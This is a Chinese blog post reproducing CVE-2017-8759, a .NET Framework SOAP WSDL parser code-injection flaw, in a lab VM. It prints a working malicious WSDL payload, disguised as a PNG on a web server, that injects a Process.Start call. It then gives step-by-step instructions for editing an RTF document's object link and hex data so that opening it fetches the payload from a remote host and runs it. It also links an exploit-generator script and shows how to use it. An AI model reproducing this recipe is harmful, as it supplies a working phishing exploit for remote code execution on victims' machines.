FireEye最近检测到一个恶意的Microsoft Office RTF文档,利用CVE-2017-8759(一种SOAP WSDL解析器代码注入漏洞)。此漏洞允许在解析SOAP WSDL定义内容期间注入任意代码。
漏洞名称:.NET Framework远程代码执行漏洞
漏洞编号:CVE-2017-8759
漏洞影响:.NET系列产品的远程代码执行(RCE)并进一步控制系统
利用场景:远程钓鱼、社会工程
影响版本:以下.NET版本
影响产品:Office(word excel)Edge IE WinOS Skype Lync Sharepoint
PrintClientProxy方法中的WSDL解析器模块中存在代码注入漏洞。如果提供的包含CRLF序列的数据,则IsValidUrl不会执行正确的验证。这就造成了攻击者注入和执行任意代码。
这里不详细介绍了(因为我也不懂),可以参考火眼和360的分析。

新建一个图片文件,名字为office.png(其他格式也行),内容为:
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:suds="http://www.w3.org/2000/wsdl/suds" xmlns:tns="http://schemas.microsoft.com/clr/ns/System" xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo"> <portType name="PortType"/> <binding name="Binding" type="tns:PortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class> </binding> <service name="Service"> <port name="Port" binding="tns:Binding"> <soap:address location="http://localhost?C:\Windows\System32\calc.exe?011"/> <soap:address location="; if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) { System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]); System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true); } //"/> </port> </service></definitions> |
然后放在web目录。
根据样本文件,发现是在word文档中添加一个SOAP标记。
格式为soap:wsdl=http://192.168.135.135/office/office.png
本次以样本为例,然后修改其中的地址。

分别用样本和自己的web地址生成特hex格式的地址,然后将样本中的地址更换为自己的地址即可。(注意替换的长度需保持一致)

样本文件最重要的是倒数第三行(看起来是空白),然后可以将上面无用的内容全部删除,只留下最后三行。

然后就是打开该word文档,就可以看到计算器弹出。但实现的过程有点问题,就是必须点更新链接才会触发(即使将添加objupdate还是不行)。

参考https://github.com/vysec/CVE-2017-8759
新建o.png,内容为:

word.db内容:

新建一个rtf文档,随意插入一个对象。例如http://192.168.135.135/office/o.png
用记事本打开,将\object\objautlink\rsltpict
修改为\object\objautlink\objupdate\rsltpict
打开blob.bin文件

将其中的地址修改为http://192.168.135.135/office/o.png
复制原来的地址,尽量多复制点空格。

然后生成新的hex地址

然后用生成的地址替换blob.bin中的地址

然后将blob.bin中的内容替换word文档的objdata内容。
然后打开word文档,就会有神奇的事情发生。

恶意软件将被放置在C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\OfficeUpdte-KB[6个随机数字].exe
以上均在虚拟机上测试。没有使用样本中的left.jpg。最后结果确实如火眼所说的那样生成了OfficeUpdte-KB******.exe文件。在win10(真机)上测试的时候还生成了http1001924168413541350office0office4png.pdb、http1001924168413541350office0office4png.dll和Logo.cs三个文件。
这里方法一没有直接执行的原因我也不太清楚,但是用方法二插入office.png,也是不会直接执行的。如果方法一和二中过程替换一下,效果也是一样的。
下载脚本https://github.com/fupinglee/MyPython/blob/master/exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py
使用方法:python CVE-2017-8759_exploit_rtf.py http://192.168.135.135/office/office.png
会在当前目录生成文件cve-2017-8759.rtf,打开即可。
根据CVE-2017-0199的脚本改写而来,仅仅保留并修改了生成文件的代码。
[1].https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
[2].http://mp.weixin.qq.com/s/_rfRtj6da1nowI4qMmkLaA
[3].https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/
来源:博客园
作者:BuXuan
链接:https://www.cnblogs.com/anbuxuan/p/11778205.html